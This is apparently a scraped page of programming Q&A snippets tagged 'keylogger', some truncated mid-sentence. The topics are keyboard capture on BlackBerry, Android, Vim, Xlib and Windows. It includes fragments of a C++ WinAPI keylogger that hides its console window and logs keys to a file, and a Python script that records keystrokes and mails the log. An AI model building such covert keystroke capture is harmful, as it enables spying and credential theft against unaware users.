keylogger

BlackBerry - KeyListener with global scope

南楼画角 提交于 2019-12-07 05:59:34
问题 I am new to BlackBerry App development. I want to be able to listen for keypress events whenever the BlackBerry (8900 in my case) is on and on all screens is this possible? If so, it would be great for someone to direct me in the right direction. I am already having a look at Interface KeyListener. import net.rim.device.api.system.*; Thanks all 回答1: Implement a keylistenerClass like: import model.Profile; import net.rim.device.api.system.KeyListener; import net.rim.device.api.ui.Keypad;

TypeError: write() argument must be str, not list

被刻印的时光 ゝ 提交于 2019-12-07 03:07:47
问题 def file_input(recorded): now_time = datetime.datetime.now() w = open("LOG.txt", 'a') w.write(recorded) w.write("\n") w.write(now_time) w.write("--------------------------------------") w .close() if name == " main ": while 1: status = time.localtime() result = [] keyboard.press_and_release('space') recorded = keyboard.record(until='enter') file_input(recorded) if (status.tm_min == 30): f = open("LOG.txt", 'r') file_content = f.read() f.close() send_simple_message(file_content) im trying to

C++ simple keylogger

為{幸葍}努か 提交于 2019-12-06 07:13:48
问题 I`m trying to write a simple keylogger in C++ using WinAPI. Is there a way to get in which application the user is typing the captured key strokes? And here is my code so far: #include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int main() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0); char i; while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) { FILE *OUTPUT_FILE; OUTPUT_FILE =

Vim commands log

旧城冷巷雨未停 提交于 2019-12-05 22:29:17
问题 Is it possible to log all commands I type in VIM for later analyzing? I mean each simple command like motions or changing the text, i.e. jjjjjjkkkcw<newword> If it is not possible in VIM, maybe there is a keylogger on linux, which can be attached to specific window/process? I'd prefer in-vim logging, because it could have options to have different logs for different vim modes. Also I don't want to log "colon" commands. 回答1: Yes, there is! When launching vim use vim -W ~/vimcommands.log to >>

Build a simple Keylogger Android Application: Accessibility research for Virtual keyboard

筅森魡賤 提交于 2019-12-05 18:43:34
I have been trying to find some resources in order to build a Keylogger Android application for an accessibility research project on the Android platform (APILevel 17). The Interface of the application would be a simple "EditText" field where the user types using the virtual onscreen keyboard [After selecting the required keyboard from the Input Settings]. I aim to create a Keylog database for my application (with an SQLite DB because I'm familiar with that, but a simple csv file DB would also work well! :) ) which looks like the following: (Illustration) Hence I need to log each character on

BlackBerry - KeyListener with global scope

梦想的初衷 提交于 2019-12-05 11:28:11
I am new to BlackBerry App development. I want to be able to listen for keypress events whenever the BlackBerry (8900 in my case) is on and on all screens is this possible? If so, it would be great for someone to direct me in the right direction. I am already having a look at Interface KeyListener. import net.rim.device.api.system.*; Thanks all Ali El-sayed Ali Implement a keylistenerClass like: import model.Profile; import net.rim.device.api.system.KeyListener; import net.rim.device.api.ui.Keypad; public final class ShortcutHandler implements KeyListener { public boolean keyChar(char key, int

Writing a clipboard viewer in C#

删除回忆录丶 提交于 2019-12-05 06:27:19
问题 I want to write program to learn vocabulary. Simply each time, when I copy a word to clipboard, It will save them to text file. so, there are requirements, I think that is: My program run in background like keylogger? Detect even and save words to text file everytime I copy a word to clipboard.? all done by C#. so, plz give me some advice! thank you very much! 回答1: There's an example in the .NET SDK called ClipboardSpy. Here's an example even: static void Main(string[] args) { while (true) {

Something like pyHook on OS X

不打扰是莪最后的温柔 提交于 2019-12-04 11:33:37
I am actually working with pyHook , but I'd like to write my program for OS X too. If someone know such a module ... I've been looking on the internet for a while, but nothing really relevant. -> The idea is to be able to record keystrokes outside the python app. My application is a community statistics builder, so it would be great to have statistics from OS X too. Thanks in advance ;) Edit : PyHook : Record keystrokes and other things outside the python app http://sourceforge.net/apps/mediawiki/pyhook/index.php?title=PyHook_Tutorial http://pyhook.sourceforge.net/doc_1.5.0/ http://sourceforge

C++ simple keylogger

烈酒焚心 提交于 2019-12-04 09:42:29
I`m trying to write a simple keylogger in C++ using WinAPI. Is there a way to get in which application the user is typing the captured key strokes? And here is my code so far: #include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int main() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0); char i; while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) { FILE *OUTPUT_FILE; OUTPUT_FILE = fopen("LOG.txt", "a+"); int c=static_cast<int>(i); fprintf(OUTPUT_FILE, "%s", &c); fclose (OUTPUT_FILE); }

globally capture, ignore and send keyevents with python xlib, recognize fake input

不羁的心 提交于 2019-12-03 13:36:26
问题 i want to implement key chording on a normal keyboard and i thought i use python xlib. for this to work the program has to globally swallow all keyevents and only later allow them to go through. my current test just grabs the "1" key. if this key is pressed it calls a handler which sends "x" to the focused window via xtest.fake_input. because im only grabbing the "1"-key, there shouldn't be a problem, right? but somehow the handler gets called again, because "x" was pressed. in fact, the